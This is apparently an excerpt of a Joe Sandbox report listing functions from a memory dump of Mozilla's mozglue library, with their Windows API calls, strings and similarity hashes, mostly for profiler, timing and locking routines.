Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gil$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-419400857
Opcode ID: 65fc1f00396cb570c8b1031a1829685bb99c23d6f3caabfd505f75c854426e48
Instruction ID: 4d5ed95c3f85b7ad69514f0f7f4faffaf1ecb4443f1a1c64794ac320c7113422
Opcode Fuzzy Hash: 65fc1f00396cb570c8b1031a1829685bb99c23d6f3caabfd505f75c854426e48
Instruction Fuzzy Hash: EA6125B0604346AFEB108F62CC89BA57BB8EF87348F148458F5449B641D7F98945CFAE

Function 6C65F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C65F8F9

Part of subcall function 6C626390: GetCurrentThreadId.KERNEL32 ref: 6C6263D0
Part of subcall function 6C626390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6263DF
Part of subcall function 6C626390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C62640E

ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F93A
GetCurrentThreadId.KERNEL32 ref: 6C65F98A
GetCurrentThreadId.KERNEL32 ref: 6C65F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F716

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

Part of subcall function 6C61B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C61B5E0

GetCurrentThreadId.KERNEL32 ref: 6C65F739
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65F746
GetCurrentThreadId.KERNEL32 ref: 6C65F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C69385B,00000002,?,?,?,?,?), ref: 6C65F829
free.MOZGLUE(?,?,00000000,?), ref: 6C65F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C65F866
free.MOZGLUE(?), ref: 6C65FA0C

Part of subcall function 6C625E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6255E1), ref: 6C625E8C
Part of subcall function 6C625E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C625E9D
Part of subcall function 6C625E60: GetCurrentThreadId.KERNEL32 ref: 6C625EAB
Part of subcall function 6C625E60: GetCurrentThreadId.KERNEL32 ref: 6C625EB8
Part of subcall function 6C625E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C625ECF
Part of subcall function 6C625E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C625F27
Part of subcall function 6C625E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C625F47
Part of subcall function 6C625E60: GetCurrentProcess.KERNEL32 ref: 6C625F53
Part of subcall function 6C625E60: GetCurrentThread.KERNEL32 ref: 6C625F5C
Part of subcall function 6C625E60: GetCurrentProcess.KERNEL32 ref: 6C625F66
Part of subcall function 6C625E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C625F7E

free.MOZGLUE(?), ref: 6C65F9C5
free.MOZGLUE(?), ref: 6C65F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C65F9A6
Thread , xrefs: 6C65F789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C65F71F
" attempted to re-register as ", xrefs: 6C65F858

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: c13a371efa82e3656e88e4c08df008edf516df1b996584a3a3bf343a7517a035
Instruction ID: 5b7e064ee694c8854f0fcd7ec433194e69b1105684d10c9d7ff5647ad4b9ff1a
Opcode Fuzzy Hash: c13a371efa82e3656e88e4c08df008edf516df1b996584a3a3bf343a7517a035
Instruction Fuzzy Hash: 418126B06047019FDB10DF25C880AAAB7B5EFC6308F91452DE84987B51EB309859CBAF

Function 6C65EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65EE60
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65EE6D
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C65EEA5
CloseHandle.KERNEL32(?), ref: 6C65EEB4
free.MOZGLUE(00000000), ref: 6C65EEBB
GetCurrentThreadId.KERNEL32 ref: 6C65EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65EECF

Part of subcall function 6C65DE60: GetCurrentThreadId.KERNEL32 ref: 6C65DE73
Part of subcall function 6C65DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C624A68), ref: 6C65DE7B
Part of subcall function 6C65DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C624A68), ref: 6C65DEB8
Part of subcall function 6C65DE60: free.MOZGLUE(00000000,?,6C624A68), ref: 6C65DEFE
Part of subcall function 6C65DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C65DF38

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

GetCurrentThreadId.KERNEL32 ref: 6C65EF1E
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65EF2B
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65EF59
GetCurrentThreadId.KERNEL32 ref: 6C65EFB0
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65EFBD
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65EFE1
GetCurrentThreadId.KERNEL32 ref: 6C65EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65F000

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C65F02F

Part of subcall function 6C65F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65F09B
Part of subcall function 6C65F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C65F0AC
Part of subcall function 6C65F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C65F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C65EED7
[I %d/%d] profiler_pause, xrefs: 6C65F008

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 9d81c675f52dac2e03264fe421a54ecb61fcd6a2719ac9e5140114a6477477d8
Instruction ID: 2d1e37ec26f781f9f593477a9903520807e5443ccdb97f12bab0df3024f38405
Opcode Fuzzy Hash: 9d81c675f52dac2e03264fe421a54ecb61fcd6a2719ac9e5140114a6477477d8
Instruction Fuzzy Hash: E35105317002129FDF109F66D4887A937B8EF87758F614526F91583B41CB355825CBAF

Function 6C625E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C625E9D

Part of subcall function 6C635B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6356EE,?,00000001), ref: 6C635B85
Part of subcall function 6C635B50: EnterCriticalSection.KERNEL32(6C69F688,?,?,?,6C6356EE,?,00000001), ref: 6C635B90
Part of subcall function 6C635B50: LeaveCriticalSection.KERNEL32(6C69F688,?,?,?,6C6356EE,?,00000001), ref: 6C635BD8
Part of subcall function 6C635B50: GetTickCount64.KERNEL32 ref: 6C635BE4

GetCurrentThreadId.KERNEL32 ref: 6C625EAB
GetCurrentThreadId.KERNEL32 ref: 6C625EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C625ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C626017

Part of subcall function 6C614310: moz_xmalloc.MOZGLUE(00000010,?,6C6142D2), ref: 6C61436A
Part of subcall function 6C614310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6142D2), ref: 6C614387

moz_xmalloc.MOZGLUE(00000004), ref: 6C625F47
GetCurrentProcess.KERNEL32 ref: 6C625F53
GetCurrentThread.KERNEL32 ref: 6C625F5C
GetCurrentProcess.KERNEL32 ref: 6C625F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C625F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C625F27

Part of subcall function 6C62CA10: mozalloc_abort.MOZGLUE(?), ref: 6C62CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6255E1), ref: 6C625E8C

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6255E1), ref: 6C62605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6255E1), ref: 6C6260CC

Strings

GeckoMain, xrefs: 6C625ECE, 6C626015

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: dbfc50aa096896ba5cf320e98e9ca0a0cdce9738ed456d3720a9e6eaa1fe2f1b
Instruction ID: c028400819286c635416eac58a1b7a3e14d27e44fbdd02d0659d59847e55f901
Opcode Fuzzy Hash: dbfc50aa096896ba5cf320e98e9ca0a0cdce9738ed456d3720a9e6eaa1fe2f1b
Instruction Fuzzy Hash: 7071CFB0A047419FD710DF29C480A6ABBF0FF8A304F14496DE98687B52D774E848CF9A

Function 6C629590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6131C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C613217
Part of subcall function 6C6131C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C613236
Part of subcall function 6C6131C0: FreeLibrary.KERNEL32 ref: 6C61324B
Part of subcall function 6C6131C0: __Init_thread_footer.LIBCMT ref: 6C613260
Part of subcall function 6C6131C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C61327F
Part of subcall function 6C6131C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C61328E
Part of subcall function 6C6131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6132AB
Part of subcall function 6C6131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6132D1
Part of subcall function 6C6131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6132E5
Part of subcall function 6C6131C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6132F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C629675
__Init_thread_footer.LIBCMT ref: 6C629697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6296E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C629707
__Init_thread_footer.LIBCMT ref: 6C62971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C629773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6297B7
FreeLibrary.KERNEL32 ref: 6C6297D0
FreeLibrary.KERNEL32 ref: 6C6297EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C629824

Strings

ntdll.dll, xrefs: 6C6296E3
NtMapViewOfSection, xrefs: 6C629701
MapViewOfFileNuma2, xrefs: 6C6297B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C629670

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: a94dad984efc77e562e5e1e4a64f93b671f502ed57b28ac69fe917f1367d4f24
Instruction ID: 7cb1290b4716f8fe79e95866372e3632c35ef1df348c7faecf0c280c708d1764
Opcode Fuzzy Hash: a94dad984efc77e562e5e1e4a64f93b671f502ed57b28ac69fe917f1367d4f24
Instruction Fuzzy Hash: 0061D4717002029BDF00CF66E8D4B9A3BB4EB8A318F118529F95597B80D734A854CF9E

Function 6C676660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C69F618), ref: 6C676694
GetThreadId.KERNEL32(?), ref: 6C6766B1
GetCurrentThreadId.KERNEL32 ref: 6C6766B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6766E1
EnterCriticalSection.KERNEL32(6C69F618), ref: 6C676734
GetCurrentProcess.KERNEL32 ref: 6C67673A
LeaveCriticalSection.KERNEL32(6C69F618), ref: 6C67676C
GetCurrentThread.KERNEL32 ref: 6C6767FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C676868
RtlCaptureContext.NTDLL ref: 6C67687F

Strings

WalkStack64, xrefs: 6C676890

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: d3a95a0673383a48bbc5b0af565863a64994aa1feb4264b43a23f2aaa674b8cd
Instruction ID: e7ba23b49e3bcee0df394f095474d1f1c66016e67842092b224c7ddff9aa8c82
Opcode Fuzzy Hash: d3a95a0673383a48bbc5b0af565863a64994aa1feb4264b43a23f2aaa674b8cd
Instruction Fuzzy Hash: D551C171A09301AFD721CF25C884B9ABBF4FF89754F00491DF59997640D774D904CBAA

Function 6C65DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65DE73
GetCurrentThreadId.KERNEL32 ref: 6C65DF7D
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65DF8A
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65DFC9
GetCurrentThreadId.KERNEL32 ref: 6C65DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C65E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C624A68), ref: 6C65DE7B

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C624A68), ref: 6C65DEB8
free.MOZGLUE(00000000,?,6C624A68), ref: 6C65DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C65DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C65DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C65E00E
<none>, xrefs: 6C65DFD7

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: b69aa1f3fc454d34cacf07472659cc6293fea27159c1c81b4320038d2f73af90
Instruction ID: bec6ec6c5acfe3f17a9372956c79ac4dfb06506ee40fae852d8dbb6bcd12d070
Opcode Fuzzy Hash: b69aa1f3fc454d34cacf07472659cc6293fea27159c1c81b4320038d2f73af90
Instruction Fuzzy Hash: 6E414B717012029BDB109F66D9847AE7775EF8270CFA50016F90587B42C731A826CBEF

Function 6C66D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D52A
GetCurrentThreadId.KERNEL32 ref: 6C66D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D55F
free.MOZGLUE(00000000), ref: 6C66D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C66D5D3
GetCurrentThreadId.KERNEL32 ref: 6C66D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D652
GetCurrentThreadId.KERNEL32 ref: 6C66D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C66D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C66D6A2

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: a665d2fc59e1896ef9ba7870bba9f0759c726215b5c4b26dce6e967c77a3d88e
Instruction ID: d79255dce9c98b5e2b06ae9fd952ba4534b8f001084e33459a10157f42c2f8a5
Opcode Fuzzy Hash: a665d2fc59e1896ef9ba7870bba9f0759c726215b5c4b26dce6e967c77a3d88e
Instruction Fuzzy Hash: 8E518F71604706DFC704DF36C484A9ABBF5FF89358F10862EE94A87B10DB30A945CB99

Function 6C635670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6356D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6356E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6356F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C635744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6357BC
GetTickCount64.KERNEL32 ref: 6C6358CB
EnterCriticalSection.KERNEL32(6C69F688), ref: 6C6358F3
__aulldiv.LIBCMT ref: 6C635945
LeaveCriticalSection.KERNEL32(6C69F688), ref: 6C6359B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C69F638,?,?,?,?), ref: 6C6359E9

Strings

MOZ_APP_RESTART, xrefs: 6C6356CC

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: b9a2e56de7299d92480cec0dd240bb0fb2c8dd7d9e634ba15788d19556cbe778
